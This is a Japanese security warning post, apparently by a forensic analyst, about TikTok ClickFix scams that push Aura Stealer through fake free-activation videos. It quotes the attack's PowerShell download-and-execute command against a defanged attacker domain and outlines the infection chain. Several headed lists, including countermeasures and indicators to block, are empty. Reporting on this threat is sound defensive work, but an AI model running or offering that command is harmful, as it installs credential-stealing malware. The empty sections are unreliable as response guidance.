【緊急警告】TikTok動画を悪用したClickFix攻撃でAura Stealerマルウェアが拡散中 - 無料アクティベーション詐欺の実態と対策

フォレンジックアナリストとして数多くのマルウェア感染事例を調査してきましたが、最近特に警戒すべき攻撃手法が確認されています。TikTok動画を悪用した「ClickFix攻撃」により、Aura Stealerと呼ばれる情報窃取型マルウェアが拡散されているのです。

TikTok動画を悪用したClickFix攻撃の手口

この攻撃の特徴は、WindowsやMicrosoft 365、Adobe Premiere・Photoshop、CapCut Pro、Discord Nitroなどの人気ソフトウェアの「無料アクティベーション」を謳うTikTok動画を使用することです。

動画内では、以下のようなPowerShellコマンドの実行を促します：

iex (irm slmgr[.]win/<製品名>)

一見すると簡単な裏技のように見えるため、多くのユーザーがコマンドをコピー＆ペーストしてしまいます。しかし、これこそが巧妙に仕組まれた罠なのです。

実際の攻撃は以下のステップで進行します：

PowerShellコマンド実行：ユーザーが動画の指示通りにコマンドを実行
追加スクリプト取得：PowerShellがslmgr[.]winに接続し、さらなるスクリプトを取得
マルウェアダウンロード：Cloudflare Pages上のホストから2つの実行ファイルをダウンロード
- updater.exe：Aura Stealerの亜種
- source.exe：.NETコンパイラを使用したメモリ内実行
情報窃取開始：Aura Stealerが各種認証情報を収集・送信

私がフォレンジック調査で確認したAura Stealerの被害事例では、以下のような情報が窃取されています：

特に深刻なのは、ある中小企業で発生した事例です。従業員が個人のPCでこの攻撃に遭い、業務で使用していたクラウドサービスの認証情報が窃取されました。攻撃者はその情報を使って企業のデータにアクセスし、機密情報の漏洩が発生したのです。

ClickFix攻撃が特に危険なのは、従来のセキュリティ対策をすり抜けやすい点にあります：

実際、私が調査した企業では、アンチウイルスソフトを導入していたにも関わらず、初期段階での検知ができませんでした。これは、攻撃手法の巧妙さを物語っています。

もしこの攻撃に遭った可能性がある場合、以下の手順で迅速に対応してください：

個人ユーザーの場合、以下の対策が効果的です：

企業においては、より高度な対策が必要です：

以下の情報を監視・ブロック対象として設定することを推奨します：

TikTok動画を悪用したClickFix攻撃は、ソーシャルエンジニアリング攻撃の新たな進化形です。フォレンジック調査の現場では、この手法による被害が急増しており、特に個人ユーザーや中小企業での感染事例が目立ちます。

重要なのは、「無料で高価なソフトウェアが使える」という甘い話には必ず裏があるということです。正規のライセンスを購入し、信頼できるアンチウイルスソフトやVPN を活用して、自身のデジタル資産を守りましょう。

また、企業においてはWebサイト脆弱性診断サービスを定期的に実施し、従業員教育を継続することで、このような巧妙な攻撃から組織を守ることができます。